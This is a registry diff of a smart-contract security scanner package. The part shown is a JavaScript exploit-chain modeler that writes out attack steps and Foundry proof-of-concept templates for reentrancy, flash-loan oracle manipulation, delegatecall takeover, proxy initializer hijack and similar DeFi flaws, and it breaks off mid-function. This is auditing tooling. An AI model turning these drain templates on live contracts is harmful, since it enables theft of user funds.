web3crit-scanner 7.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +685 -0
- package/bin/web3crit +10 -0
- package/package.json +59 -0
- package/src/analyzers/control-flow.js +256 -0
- package/src/analyzers/data-flow.js +720 -0
- package/src/analyzers/exploit-chain.js +751 -0
- package/src/analyzers/immunefi-classifier.js +515 -0
- package/src/analyzers/poc-validator.js +396 -0
- package/src/analyzers/solodit-enricher.js +1122 -0
- package/src/cli.js +546 -0
- package/src/detectors/access-control-enhanced.js +458 -0
- package/src/detectors/base-detector.js +213 -0
- package/src/detectors/callback-reentrancy.js +362 -0
- package/src/detectors/cross-contract-reentrancy.js +697 -0
- package/src/detectors/delegatecall.js +167 -0
- package/src/detectors/deprecated-functions.js +62 -0
- package/src/detectors/flash-loan.js +408 -0
- package/src/detectors/frontrunning.js +553 -0
- package/src/detectors/gas-griefing.js +701 -0
- package/src/detectors/governance-attacks.js +366 -0
- package/src/detectors/integer-overflow.js +487 -0
- package/src/detectors/oracle-manipulation.js +524 -0
- package/src/detectors/permit-exploits.js +368 -0
- package/src/detectors/precision-loss.js +408 -0
- package/src/detectors/price-manipulation-advanced.js +548 -0
- package/src/detectors/proxy-vulnerabilities.js +651 -0
- package/src/detectors/readonly-reentrancy.js +473 -0
- package/src/detectors/rebasing-token-vault.js +416 -0
- package/src/detectors/reentrancy-enhanced.js +359 -0
- package/src/detectors/selfdestruct.js +259 -0
- package/src/detectors/share-manipulation.js +412 -0
- package/src/detectors/signature-replay.js +409 -0
- package/src/detectors/storage-collision.js +446 -0
- package/src/detectors/timestamp-dependence.js +494 -0
- package/src/detectors/toctou.js +427 -0
- package/src/detectors/token-standard-compliance.js +465 -0
- package/src/detectors/unchecked-call.js +214 -0
- package/src/detectors/vault-inflation.js +421 -0
- package/src/index.js +42 -0
- package/src/package-lock.json +2874 -0
- package/src/package.json +39 -0
- package/src/scanner-enhanced.js +816 -0
|
@@ -0,0 +1,751 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Exploit Chain Modeler
|
|
3
|
+
* Models concrete attack paths assuming adversarial capabilities:
|
|
4
|
+
* - Flash loans (unlimited capital for single tx)
|
|
5
|
+
* - MEV (transaction ordering, sandwich attacks)
|
|
6
|
+
* - Malicious contracts (reentrancy, callbacks)
|
|
7
|
+
* - Oracle manipulation (spot price, TWAP gaming)
|
|
8
|
+
*
|
|
9
|
+
* Only produces findings with concrete profit extraction paths
|
|
10
|
+
*/
|
|
11
|
+
|
|
12
|
+
class ExploitChainModeler {
|
|
13
|
+
constructor(cfg, dataFlow) {
|
|
14
|
+
this.cfg = cfg;
|
|
15
|
+
this.dataFlow = dataFlow;
|
|
16
|
+
|
|
17
|
+
// Attacker capability model
|
|
18
|
+
this.attackerCapabilities = {
|
|
19
|
+
flashLoan: {
|
|
20
|
+
providers: ['Aave', 'dYdX', 'Balancer', 'Uniswap'],
|
|
21
|
+
maxCapital: 'unlimited_single_tx',
|
|
22
|
+
cost: 'gas + 0.09% fee (Aave)'
|
|
23
|
+
},
|
|
24
|
+
mev: {
|
|
25
|
+
capabilities: ['frontrun', 'backrun', 'sandwich', 'tx_reorder'],
|
|
26
|
+
tools: ['Flashbots', 'MEV-Boost', 'private_mempool'],
|
|
27
|
+
cost: 'bribes_to_builders'
|
|
28
|
+
},
|
|
29
|
+
maliciousContract: {
|
|
30
|
+
capabilities: ['reentrancy_callback', 'fallback_execution', 'custom_logic'],
|
|
31
|
+
cost: 'deployment_gas'
|
|
32
|
+
},
|
|
33
|
+
oracleManipulation: {
|
|
34
|
+
methods: ['large_swap', 'donation', 'sandwich_oracle_read'],
|
|
35
|
+
targets: ['spot_price', 'reserve_ratio', 'balance']
|
|
36
|
+
}
|
|
37
|
+
};
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
/**
|
|
41
|
+
* Model exploit chains for a set of findings
|
|
42
|
+
* Returns only findings with viable exploit paths
|
|
43
|
+
*/
|
|
44
|
+
modelExploitChains(findings) {
|
|
45
|
+
const viableExploits = [];
|
|
46
|
+
|
|
47
|
+
for (const finding of findings) {
|
|
48
|
+
const chain = this.buildExploitChain(finding);
|
|
49
|
+
|
|
50
|
+
if (chain && chain.isViable) {
|
|
51
|
+
viableExploits.push({
|
|
52
|
+
...finding,
|
|
53
|
+
exploitChain: chain,
|
|
54
|
+
attackerRequirements: chain.requirements,
|
|
55
|
+
profitPath: chain.profitPath,
|
|
56
|
+
estimatedComplexity: chain.complexity
|
|
57
|
+
});
|
|
58
|
+
}
|
|
59
|
+
}
|
|
60
|
+
|
|
61
|
+
return viableExploits;
|
|
62
|
+
}
|
|
63
|
+
|
|
64
|
+
/**
|
|
65
|
+
* Build a concrete exploit chain for a finding
|
|
66
|
+
*/
|
|
67
|
+
buildExploitChain(finding) {
|
|
68
|
+
const attackVector = (finding.attackVector || '').toLowerCase();
|
|
69
|
+
const funcInfo = this.getFunctionInfo(finding);
|
|
70
|
+
|
|
71
|
+
let chain = null;
|
|
72
|
+
|
|
73
|
+
// Route to specific chain builder based on attack vector
|
|
74
|
+
if (attackVector.includes('reentrancy')) {
|
|
75
|
+
chain = this.modelReentrancyChain(finding, funcInfo);
|
|
76
|
+
} else if (attackVector.includes('flash-loan') || attackVector.includes('oracle')) {
|
|
77
|
+
chain = this.modelFlashLoanOracleChain(finding, funcInfo);
|
|
78
|
+
} else if (attackVector.includes('access-control')) {
|
|
79
|
+
chain = this.modelAccessControlChain(finding, funcInfo);
|
|
80
|
+
} else if (attackVector.includes('delegatecall')) {
|
|
81
|
+
chain = this.modelDelegatecallChain(finding, funcInfo);
|
|
82
|
+
} else if (attackVector.includes('signature') || attackVector.includes('replay')) {
|
|
83
|
+
chain = this.modelSignatureReplayChain(finding, funcInfo);
|
|
84
|
+
} else if (attackVector.includes('selfdestruct')) {
|
|
85
|
+
chain = this.modelSelfdestructChain(finding, funcInfo);
|
|
86
|
+
} else if (attackVector.includes('initializer') || attackVector.includes('proxy')) {
|
|
87
|
+
chain = this.modelProxyChain(finding, funcInfo);
|
|
88
|
+
} else {
|
|
89
|
+
chain = this.modelGenericChain(finding, funcInfo);
|
|
90
|
+
}
|
|
91
|
+
|
|
92
|
+
return chain;
|
|
93
|
+
}
|
|
94
|
+
|
|
95
|
+
/**
|
|
96
|
+
* Model reentrancy exploit chain
|
|
97
|
+
*/
|
|
98
|
+
modelReentrancyChain(finding, funcInfo) {
|
|
99
|
+
const hasValueTransfer = this.detectsValueTransfer(finding);
|
|
100
|
+
const hasStateAfterCall = this.detectsStateAfterCall(finding);
|
|
101
|
+
|
|
102
|
+
if (!hasValueTransfer && !hasStateAfterCall) {
|
|
103
|
+
return { isViable: false, reason: 'No exploitable value flow' };
|
|
104
|
+
}
|
|
105
|
+
|
|
106
|
+
return {
|
|
107
|
+
isViable: true,
|
|
108
|
+
type: 'reentrancy',
|
|
109
|
+
requirements: {
|
|
110
|
+
deployContract: true,
|
|
111
|
+
flashLoan: false, // Optional but can amplify
|
|
112
|
+
mev: false,
|
|
113
|
+
estimatedGas: '500k-2M',
|
|
114
|
+
capitalRequired: 'Minimal (initial deposit)'
|
|
115
|
+
},
|
|
116
|
+
profitPath: {
|
|
117
|
+
mechanism: 'Repeated withdrawal before balance update',
|
|
118
|
+
valueSource: funcInfo?.contract || 'Target contract balance',
|
|
119
|
+
extraction: 'Direct ETH/token transfer to attacker contract'
|
|
120
|
+
},
|
|
121
|
+
steps: [
|
|
122
|
+
{
|
|
123
|
+
action: 'Deploy attacker contract',
|
|
124
|
+
code: `contract Attacker { receive() external payable { target.withdraw(); } }`,
|
|
125
|
+
gasEstimate: '200k'
|
|
126
|
+
},
|
|
127
|
+
{
|
|
128
|
+
action: 'Make initial deposit to target',
|
|
129
|
+
code: `target.deposit{value: 1 ether}()`,
|
|
130
|
+
note: 'Establishes withdrawal rights'
|
|
131
|
+
},
|
|
132
|
+
{
|
|
133
|
+
action: 'Call withdraw to trigger reentrancy',
|
|
134
|
+
code: `target.withdraw()`,
|
|
135
|
+
note: 'Triggers external call to attacker'
|
|
136
|
+
},
|
|
137
|
+
{
|
|
138
|
+
action: 'Reenter from fallback until drained',
|
|
139
|
+
code: `// In receive(): if(target.balance > 0) target.withdraw()`,
|
|
140
|
+
note: 'Repeatedly extracts funds'
|
|
141
|
+
}
|
|
142
|
+
],
|
|
143
|
+
complexity: 'LOW',
|
|
144
|
+
foundryPoc: this.generateReentrancyPoC(finding, funcInfo)
|
|
145
|
+
};
|
|
146
|
+
}
|
|
147
|
+
|
|
148
|
+
/**
|
|
149
|
+
* Model flash loan + oracle manipulation chain
|
|
150
|
+
*/
|
|
151
|
+
modelFlashLoanOracleChain(finding, funcInfo) {
|
|
152
|
+
return {
|
|
153
|
+
isViable: true,
|
|
154
|
+
type: 'flash_loan_oracle',
|
|
155
|
+
requirements: {
|
|
156
|
+
deployContract: true,
|
|
157
|
+
flashLoan: true,
|
|
158
|
+
mev: true, // Recommended to prevent frontrunning
|
|
159
|
+
estimatedGas: '1M-5M',
|
|
160
|
+
capitalRequired: 'None (flash loan)'
|
|
161
|
+
},
|
|
162
|
+
profitPath: {
|
|
163
|
+
mechanism: 'Price manipulation → favorable trade → reversal',
|
|
164
|
+
valueSource: 'Protocol reserves / other users deposits',
|
|
165
|
+
extraction: 'Trade at manipulated price, repay loan, keep difference'
|
|
166
|
+
},
|
|
167
|
+
steps: [
|
|
168
|
+
{
|
|
169
|
+
action: 'Request flash loan',
|
|
170
|
+
code: `aave.flashLoan(address(this), tokens, amounts, "")`,
|
|
171
|
+
gasEstimate: '100k'
|
|
172
|
+
},
|
|
173
|
+
{
|
|
174
|
+
action: 'Manipulate oracle price',
|
|
175
|
+
code: `router.swap(largeAmount, path, address(this))`,
|
|
176
|
+
note: 'Large swap moves spot price'
|
|
177
|
+
},
|
|
178
|
+
{
|
|
179
|
+
action: 'Execute target function at manipulated price',
|
|
180
|
+
code: `target.${funcInfo?.name || 'vulnerableFunction'}(...)`,
|
|
181
|
+
note: 'Borrow/mint/liquidate at favorable rate'
|
|
182
|
+
},
|
|
183
|
+
{
|
|
184
|
+
action: 'Reverse manipulation',
|
|
185
|
+
code: `router.swap(received, reversePath, address(this))`,
|
|
186
|
+
note: 'Swap back to original token'
|
|
187
|
+
},
|
|
188
|
+
{
|
|
189
|
+
action: 'Repay flash loan + fee, keep profit',
|
|
190
|
+
code: `token.transfer(aave, loanAmount + fee)`,
|
|
191
|
+
gasEstimate: '100k'
|
|
192
|
+
}
|
|
193
|
+
],
|
|
194
|
+
complexity: 'MEDIUM',
|
|
195
|
+
foundryPoc: this.generateFlashLoanPoC(finding, funcInfo)
|
|
196
|
+
};
|
|
197
|
+
}
|
|
198
|
+
|
|
199
|
+
/**
|
|
200
|
+
* Model access control bypass chain
|
|
201
|
+
*/
|
|
202
|
+
modelAccessControlChain(finding, funcInfo) {
|
|
203
|
+
const isAdminFunc = this.isAdminFunction(finding);
|
|
204
|
+
const hasFundAccess = this.detectsFundAccess(finding);
|
|
205
|
+
|
|
206
|
+
return {
|
|
207
|
+
isViable: true,
|
|
208
|
+
type: 'access_control_bypass',
|
|
209
|
+
requirements: {
|
|
210
|
+
deployContract: false,
|
|
211
|
+
flashLoan: false,
|
|
212
|
+
mev: false,
|
|
213
|
+
estimatedGas: '50k-200k',
|
|
214
|
+
capitalRequired: 'Gas only'
|
|
215
|
+
},
|
|
216
|
+
profitPath: {
|
|
217
|
+
mechanism: isAdminFunc ? 'Direct admin function call' : 'Unauthorized privileged operation',
|
|
218
|
+
valueSource: hasFundAccess ? 'Contract funds' : 'Elevated privileges',
|
|
219
|
+
extraction: hasFundAccess ? 'Direct transfer to attacker' : 'Persistent admin access'
|
|
220
|
+
},
|
|
221
|
+
steps: [
|
|
222
|
+
{
|
|
223
|
+
action: 'Identify unprotected function',
|
|
224
|
+
code: `// ${funcInfo?.name || 'targetFunction'} has no access control`,
|
|
225
|
+
note: 'Function is external/public without modifier'
|
|
226
|
+
},
|
|
227
|
+
{
|
|
228
|
+
action: 'Call function directly',
|
|
229
|
+
code: `target.${funcInfo?.name || 'adminFunction'}(attackerAddress)`,
|
|
230
|
+
gasEstimate: '50k'
|
|
231
|
+
},
|
|
232
|
+
{
|
|
233
|
+
action: hasFundAccess ? 'Extract funds' : 'Establish persistent access',
|
|
234
|
+
code: hasFundAccess ?
|
|
235
|
+
`target.withdraw(target.balance)` :
|
|
236
|
+
`// Now attacker is owner/admin`,
|
|
237
|
+
note: 'Immediate value extraction or future attack setup'
|
|
238
|
+
}
|
|
239
|
+
],
|
|
240
|
+
complexity: 'LOW',
|
|
241
|
+
foundryPoc: this.generateAccessControlPoC(finding, funcInfo)
|
|
242
|
+
};
|
|
243
|
+
}
|
|
244
|
+
|
|
245
|
+
/**
|
|
246
|
+
* Model delegatecall injection chain
|
|
247
|
+
*/
|
|
248
|
+
modelDelegatecallChain(finding, funcInfo) {
|
|
249
|
+
return {
|
|
250
|
+
isViable: true,
|
|
251
|
+
type: 'delegatecall_injection',
|
|
252
|
+
requirements: {
|
|
253
|
+
deployContract: true,
|
|
254
|
+
flashLoan: false,
|
|
255
|
+
mev: false,
|
|
256
|
+
estimatedGas: '200k-500k',
|
|
257
|
+
capitalRequired: 'Deployment gas only'
|
|
258
|
+
},
|
|
259
|
+
profitPath: {
|
|
260
|
+
mechanism: 'Arbitrary code execution in target context',
|
|
261
|
+
valueSource: 'Target contract storage/funds',
|
|
262
|
+
extraction: 'Modify storage to transfer ownership or drain funds'
|
|
263
|
+
},
|
|
264
|
+
steps: [
|
|
265
|
+
{
|
|
266
|
+
action: 'Deploy malicious implementation',
|
|
267
|
+
code: `contract Malicious { function attack() { owner = attacker; } }`,
|
|
268
|
+
gasEstimate: '200k'
|
|
269
|
+
},
|
|
270
|
+
{
|
|
271
|
+
action: 'Call vulnerable delegatecall with malicious address',
|
|
272
|
+
code: `target.execute(maliciousAddress, "attack()")`,
|
|
273
|
+
note: 'Delegatecall runs in target context'
|
|
274
|
+
},
|
|
275
|
+
{
|
|
276
|
+
action: 'Malicious code modifies target storage',
|
|
277
|
+
code: `// Overwrites owner slot with attacker address`,
|
|
278
|
+
note: 'Storage collision gives admin access'
|
|
279
|
+
},
|
|
280
|
+
{
|
|
281
|
+
action: 'Use gained privileges to extract funds',
|
|
282
|
+
code: `target.withdrawAll()`,
|
|
283
|
+
gasEstimate: '50k'
|
|
284
|
+
}
|
|
285
|
+
],
|
|
286
|
+
complexity: 'MEDIUM',
|
|
287
|
+
foundryPoc: this.generateDelegatecallPoC(finding, funcInfo)
|
|
288
|
+
};
|
|
289
|
+
}
|
|
290
|
+
|
|
291
|
+
/**
|
|
292
|
+
* Model signature replay chain
|
|
293
|
+
*/
|
|
294
|
+
modelSignatureReplayChain(finding, funcInfo) {
|
|
295
|
+
return {
|
|
296
|
+
isViable: true,
|
|
297
|
+
type: 'signature_replay',
|
|
298
|
+
requirements: {
|
|
299
|
+
deployContract: false,
|
|
300
|
+
flashLoan: false,
|
|
301
|
+
mev: false,
|
|
302
|
+
estimatedGas: '50k-150k',
|
|
303
|
+
capitalRequired: 'Gas only',
|
|
304
|
+
prerequisite: 'Obtain valid signature (on-chain or off-chain)'
|
|
305
|
+
},
|
|
306
|
+
profitPath: {
|
|
307
|
+
mechanism: 'Replay valid signature for unauthorized action',
|
|
308
|
+
valueSource: 'Signer\'s approved funds/permissions',
|
|
309
|
+
extraction: 'Execute signed action multiple times'
|
|
310
|
+
},
|
|
311
|
+
steps: [
|
|
312
|
+
{
|
|
313
|
+
action: 'Obtain valid signature from previous tx or off-chain',
|
|
314
|
+
code: `// Monitor mempool or obtain from dApp interaction`,
|
|
315
|
+
note: 'Signature is valid but reusable'
|
|
316
|
+
},
|
|
317
|
+
{
|
|
318
|
+
action: 'Replay signature on vulnerable contract',
|
|
319
|
+
code: `target.executeWithSig(data, v, r, s)`,
|
|
320
|
+
gasEstimate: '100k'
|
|
321
|
+
},
|
|
322
|
+
{
|
|
323
|
+
action: 'Repeat replay until value extracted or blocked',
|
|
324
|
+
code: `// No nonce prevents multiple uses`,
|
|
325
|
+
note: 'Can replay across chains if chainId not checked'
|
|
326
|
+
}
|
|
327
|
+
],
|
|
328
|
+
complexity: 'LOW',
|
|
329
|
+
foundryPoc: this.generateSignatureReplayPoC(finding, funcInfo)
|
|
330
|
+
};
|
|
331
|
+
}
|
|
332
|
+
|
|
333
|
+
/**
|
|
334
|
+
* Model proxy/initializer chain
|
|
335
|
+
*/
|
|
336
|
+
modelProxyChain(finding, funcInfo) {
|
|
337
|
+
const isInitializer = finding.title?.toLowerCase().includes('initializ');
|
|
338
|
+
|
|
339
|
+
return {
|
|
340
|
+
isViable: true,
|
|
341
|
+
type: isInitializer ? 'unprotected_initializer' : 'proxy_vulnerability',
|
|
342
|
+
requirements: {
|
|
343
|
+
deployContract: false,
|
|
344
|
+
flashLoan: false,
|
|
345
|
+
mev: true, // Frontrun recommended
|
|
346
|
+
estimatedGas: '100k-300k',
|
|
347
|
+
capitalRequired: 'Gas only'
|
|
348
|
+
},
|
|
349
|
+
profitPath: {
|
|
350
|
+
mechanism: isInitializer ?
|
|
351
|
+
'Call unprotected initializer to become owner' :
|
|
352
|
+
'Exploit proxy upgrade mechanism',
|
|
353
|
+
valueSource: 'Full contract control → all funds',
|
|
354
|
+
extraction: 'Admin functions to drain or upgrade to malicious'
|
|
355
|
+
},
|
|
356
|
+
steps: isInitializer ? [
|
|
357
|
+
{
|
|
358
|
+
action: 'Identify uninitialized proxy',
|
|
359
|
+
code: `// Check if initialize() callable`,
|
|
360
|
+
note: 'Proxy deployed but not initialized'
|
|
361
|
+
},
|
|
362
|
+
{
|
|
363
|
+
action: 'Frontrun initialize with attacker params',
|
|
364
|
+
code: `target.initialize(attackerAddress, ...)`,
|
|
365
|
+
gasEstimate: '150k'
|
|
366
|
+
},
|
|
367
|
+
{
|
|
368
|
+
action: 'Use admin privileges to drain',
|
|
369
|
+
code: `target.withdrawAll() // or upgrade to malicious`,
|
|
370
|
+
note: 'Full control achieved'
|
|
371
|
+
}
|
|
372
|
+
] : [
|
|
373
|
+
{
|
|
374
|
+
action: 'Identify upgrade function without auth',
|
|
375
|
+
code: `// upgradeTo() or similar is unprotected`,
|
|
376
|
+
note: 'UUPS missing _authorizeUpgrade'
|
|
377
|
+
},
|
|
378
|
+
{
|
|
379
|
+
action: 'Deploy malicious implementation',
|
|
380
|
+
code: `contract Malicious { function drain() { ... } }`,
|
|
381
|
+
gasEstimate: '200k'
|
|
382
|
+
},
|
|
383
|
+
{
|
|
384
|
+
action: 'Upgrade proxy to malicious implementation',
|
|
385
|
+
code: `target.upgradeTo(maliciousImpl)`,
|
|
386
|
+
gasEstimate: '100k'
|
|
387
|
+
},
|
|
388
|
+
{
|
|
389
|
+
action: 'Call drain function',
|
|
390
|
+
code: `target.drain()`,
|
|
391
|
+
note: 'Funds extracted'
|
|
392
|
+
}
|
|
393
|
+
],
|
|
394
|
+
complexity: 'LOW',
|
|
395
|
+
foundryPoc: this.generateProxyPoC(finding, funcInfo, isInitializer)
|
|
396
|
+
};
|
|
397
|
+
}
|
|
398
|
+
|
|
399
|
+
/**
|
|
400
|
+
* Model selfdestruct chain
|
|
401
|
+
*/
|
|
402
|
+
modelSelfdestructChain(finding, funcInfo) {
|
|
403
|
+
return {
|
|
404
|
+
isViable: true,
|
|
405
|
+
type: 'selfdestruct',
|
|
406
|
+
requirements: {
|
|
407
|
+
deployContract: false,
|
|
408
|
+
flashLoan: false,
|
|
409
|
+
mev: false,
|
|
410
|
+
estimatedGas: '50k-100k',
|
|
411
|
+
capitalRequired: 'Gas only'
|
|
412
|
+
},
|
|
413
|
+
profitPath: {
|
|
414
|
+
mechanism: 'Destroy contract and force-send ETH or steal balance',
|
|
415
|
+
valueSource: 'Contract ETH balance',
|
|
416
|
+
extraction: 'selfdestruct sends balance to attacker'
|
|
417
|
+
},
|
|
418
|
+
steps: [
|
|
419
|
+
{
|
|
420
|
+
action: 'Call unprotected selfdestruct',
|
|
421
|
+
code: `target.destroy(attackerAddress)`,
|
|
422
|
+
gasEstimate: '30k'
|
|
423
|
+
},
|
|
424
|
+
{
|
|
425
|
+
action: 'Contract destroyed, ETH sent to attacker',
|
|
426
|
+
code: `// selfdestruct(attackerAddress) executes`,
|
|
427
|
+
note: 'Permanent destruction, funds extracted'
|
|
428
|
+
}
|
|
429
|
+
],
|
|
430
|
+
complexity: 'LOW',
|
|
431
|
+
foundryPoc: this.generateSelfdestructPoC(finding, funcInfo)
|
|
432
|
+
};
|
|
433
|
+
}
|
|
434
|
+
|
|
435
|
+
/**
|
|
436
|
+
* Generic chain for unclassified vulnerabilities
|
|
437
|
+
*/
|
|
438
|
+
modelGenericChain(finding, funcInfo) {
|
|
439
|
+
// Only return viable if high confidence exploitable
|
|
440
|
+
if (finding.confidence !== 'HIGH' || finding.exploitable === false) {
|
|
441
|
+
return { isViable: false, reason: 'Insufficient confidence for generic exploit' };
|
|
442
|
+
}
|
|
443
|
+
|
|
444
|
+
return {
|
|
445
|
+
isViable: true,
|
|
446
|
+
type: 'generic',
|
|
447
|
+
requirements: {
|
|
448
|
+
deployContract: false,
|
|
449
|
+
flashLoan: false,
|
|
450
|
+
mev: false,
|
|
451
|
+
estimatedGas: '100k-500k',
|
|
452
|
+
capitalRequired: 'Varies'
|
|
453
|
+
},
|
|
454
|
+
profitPath: {
|
|
455
|
+
mechanism: finding.title,
|
|
456
|
+
valueSource: 'Contract funds or state',
|
|
457
|
+
extraction: 'Depends on vulnerability'
|
|
458
|
+
},
|
|
459
|
+
steps: [
|
|
460
|
+
{
|
|
461
|
+
action: 'Exploit vulnerability',
|
|
462
|
+
code: `target.${funcInfo?.name || 'vulnerableFunction'}(...)`,
|
|
463
|
+
note: finding.description?.substring(0, 100)
|
|
464
|
+
}
|
|
465
|
+
],
|
|
466
|
+
complexity: 'VARIES',
|
|
467
|
+
foundryPoc: null
|
|
468
|
+
};
|
|
469
|
+
}
|
|
470
|
+
|
|
471
|
+
// Helper methods
|
|
472
|
+
|
|
473
|
+
getFunctionInfo(finding) {
|
|
474
|
+
// Handle location being either a string or object
|
|
475
|
+
let location = finding.location || '';
|
|
476
|
+
if (typeof location !== 'string') {
|
|
477
|
+
location = String(location) || '';
|
|
478
|
+
}
|
|
479
|
+
|
|
480
|
+
const contractMatch = location.match(/Contract:\s*(\w+)/);
|
|
481
|
+
const funcMatch = location.match(/Function:\s*(\w+)/);
|
|
482
|
+
|
|
483
|
+
return {
|
|
484
|
+
contract: contractMatch ? contractMatch[1] : null,
|
|
485
|
+
name: funcMatch ? funcMatch[1] : null,
|
|
486
|
+
line: finding.line
|
|
487
|
+
};
|
|
488
|
+
}
|
|
489
|
+
|
|
490
|
+
detectsValueTransfer(finding) {
|
|
491
|
+
const desc = (finding.description || '').toLowerCase();
|
|
492
|
+
return /transfer|send|call.*value|withdraw|drain|steal/.test(desc);
|
|
493
|
+
}
|
|
494
|
+
|
|
495
|
+
detectsStateAfterCall(finding) {
|
|
496
|
+
const desc = (finding.description || '').toLowerCase();
|
|
497
|
+
return /state.*after|before.*state|external.*call.*state/.test(desc);
|
|
498
|
+
}
|
|
499
|
+
|
|
500
|
+
isAdminFunction(finding) {
|
|
501
|
+
const desc = (finding.description || finding.title || '').toLowerCase();
|
|
502
|
+
return /owner|admin|governance|upgrade|pause|emergency|set.*address/.test(desc);
|
|
503
|
+
}
|
|
504
|
+
|
|
505
|
+
detectsFundAccess(finding) {
|
|
506
|
+
const desc = (finding.description || '').toLowerCase();
|
|
507
|
+
return /fund|balance|withdraw|transfer|drain|treasury/.test(desc);
|
|
508
|
+
}
|
|
509
|
+
|
|
510
|
+
// PoC Generators
|
|
511
|
+
|
|
512
|
+
generateReentrancyPoC(finding, funcInfo) {
|
|
513
|
+
return `// SPDX-License-Identifier: MIT
|
|
514
|
+
pragma solidity ^0.8.0;
|
|
515
|
+
|
|
516
|
+
import "forge-std/Test.sol";
|
|
517
|
+
|
|
518
|
+
interface ITarget {
|
|
519
|
+
function deposit() external payable;
|
|
520
|
+
function withdraw() external;
|
|
521
|
+
}
|
|
522
|
+
|
|
523
|
+
contract ReentrancyExploit is Test {
|
|
524
|
+
ITarget target;
|
|
525
|
+
uint256 attackCount;
|
|
526
|
+
|
|
527
|
+
function setUp() public {
|
|
528
|
+
// NOTE: Set TARGET to a real deployed address in your test harness.
|
|
529
|
+
target = ITarget(address(0));
|
|
530
|
+
vm.deal(address(this), 1 ether);
|
|
531
|
+
}
|
|
532
|
+
|
|
533
|
+
function testExploit() public {
|
|
534
|
+
uint256 initialBalance = address(this).balance;
|
|
535
|
+
|
|
536
|
+
// Initial deposit
|
|
537
|
+
target.deposit{value: 1 ether}();
|
|
538
|
+
|
|
539
|
+
// Trigger reentrancy
|
|
540
|
+
target.withdraw();
|
|
541
|
+
|
|
542
|
+
assertGt(address(this).balance, initialBalance, "Exploit failed");
|
|
543
|
+
}
|
|
544
|
+
|
|
545
|
+
receive() external payable {
|
|
546
|
+
if (address(target).balance >= 1 ether && attackCount < 10) {
|
|
547
|
+
attackCount++;
|
|
548
|
+
target.withdraw();
|
|
549
|
+
}
|
|
550
|
+
}
|
|
551
|
+
}`;
|
|
552
|
+
}
|
|
553
|
+
|
|
554
|
+
generateFlashLoanPoC(finding, funcInfo) {
|
|
555
|
+
return `// SPDX-License-Identifier: MIT
|
|
556
|
+
pragma solidity ^0.8.0;
|
|
557
|
+
|
|
558
|
+
import "forge-std/Test.sol";
|
|
559
|
+
|
|
560
|
+
interface IFlashLoanProvider {
|
|
561
|
+
function flashLoan(address receiver, address token, uint256 amount, bytes calldata data) external;
|
|
562
|
+
}
|
|
563
|
+
|
|
564
|
+
contract FlashLoanExploit is Test {
|
|
565
|
+
// NOTE: Set these to real deployed addresses in your test harness.
|
|
566
|
+
address constant FLASH_LOAN_PROVIDER = address(0);
|
|
567
|
+
address constant TARGET = address(0);
|
|
568
|
+
|
|
569
|
+
function testExploit() public {
|
|
570
|
+
uint256 initialBalance = address(this).balance;
|
|
571
|
+
|
|
572
|
+
// Request flash loan
|
|
573
|
+
// IFlashLoanProvider(FLASH_LOAN_PROVIDER).flashLoan(address(this), token, 1_000_000e18, "");
|
|
574
|
+
|
|
575
|
+
assertGt(address(this).balance, initialBalance, "No profit");
|
|
576
|
+
}
|
|
577
|
+
|
|
578
|
+
function executeOperation(
|
|
579
|
+
address asset,
|
|
580
|
+
uint256 amount,
|
|
581
|
+
uint256 premium,
|
|
582
|
+
address initiator,
|
|
583
|
+
bytes calldata params
|
|
584
|
+
) external returns (bool) {
|
|
585
|
+
// 1. Manipulate price (large swap)
|
|
586
|
+
// router.swap(amount, path, address(this));
|
|
587
|
+
|
|
588
|
+
// 2. Call vulnerable function
|
|
589
|
+
// ITarget(TARGET).${funcInfo?.name || 'vulnerableFunction'}(...);
|
|
590
|
+
|
|
591
|
+
// 3. Reverse manipulation
|
|
592
|
+
// router.swap(received, reversePath, address(this));
|
|
593
|
+
|
|
594
|
+
// 4. Repay
|
|
595
|
+
// IERC20(asset).transfer(FLASH_LOAN_PROVIDER, amount + premium);
|
|
596
|
+
|
|
597
|
+
return true;
|
|
598
|
+
}
|
|
599
|
+
}`;
|
|
600
|
+
}
|
|
601
|
+
|
|
602
|
+
generateAccessControlPoC(finding, funcInfo) {
|
|
603
|
+
return `// SPDX-License-Identifier: MIT
|
|
604
|
+
pragma solidity ^0.8.0;
|
|
605
|
+
|
|
606
|
+
import "forge-std/Test.sol";
|
|
607
|
+
|
|
608
|
+
contract AccessControlExploit is Test {
|
|
609
|
+
// NOTE: Set TARGET to a real deployed address in your test harness.
|
|
610
|
+
address constant TARGET = address(0);
|
|
611
|
+
|
|
612
|
+
function testExploit() public {
|
|
613
|
+
// Attacker is not owner/admin
|
|
614
|
+
address attacker = address(0xBAD);
|
|
615
|
+
vm.startPrank(attacker);
|
|
616
|
+
|
|
617
|
+
// Call unprotected admin function
|
|
618
|
+
// ITarget(TARGET).${funcInfo?.name || 'setOwner'}(attacker);
|
|
619
|
+
|
|
620
|
+
// Verify takeover
|
|
621
|
+
// assertEq(ITarget(TARGET).owner(), attacker);
|
|
622
|
+
|
|
623
|
+
// Extract value
|
|
624
|
+
// ITarget(TARGET).withdraw(ITarget(TARGET).balance);
|
|
625
|
+
|
|
626
|
+
vm.stopPrank();
|
|
627
|
+
}
|
|
628
|
+
}`;
|
|
629
|
+
}
|
|
630
|
+
|
|
631
|
+
generateDelegatecallPoC(finding, funcInfo) {
|
|
632
|
+
return `// SPDX-License-Identifier: MIT
|
|
633
|
+
pragma solidity ^0.8.0;
|
|
634
|
+
|
|
635
|
+
import "forge-std/Test.sol";
|
|
636
|
+
|
|
637
|
+
contract MaliciousImpl {
|
|
638
|
+
// Storage layout must match target
|
|
639
|
+
address public owner;
|
|
640
|
+
|
|
641
|
+
function attack(address newOwner) external {
|
|
642
|
+
owner = newOwner;
|
|
643
|
+
}
|
|
644
|
+
}
|
|
645
|
+
|
|
646
|
+
contract DelegatecallExploit is Test {
|
|
647
|
+
function testExploit() public {
|
|
648
|
+
MaliciousImpl malicious = new MaliciousImpl();
|
|
649
|
+
|
|
650
|
+
// Call vulnerable delegatecall
|
|
651
|
+
// target.execute(address(malicious), abi.encodeWithSelector(MaliciousImpl.attack.selector, address(this)));
|
|
652
|
+
|
|
653
|
+
// Verify takeover
|
|
654
|
+
// assertEq(target.owner(), address(this));
|
|
655
|
+
}
|
|
656
|
+
}`;
|
|
657
|
+
}
|
|
658
|
+
|
|
659
|
+
generateSignatureReplayPoC(finding, funcInfo) {
|
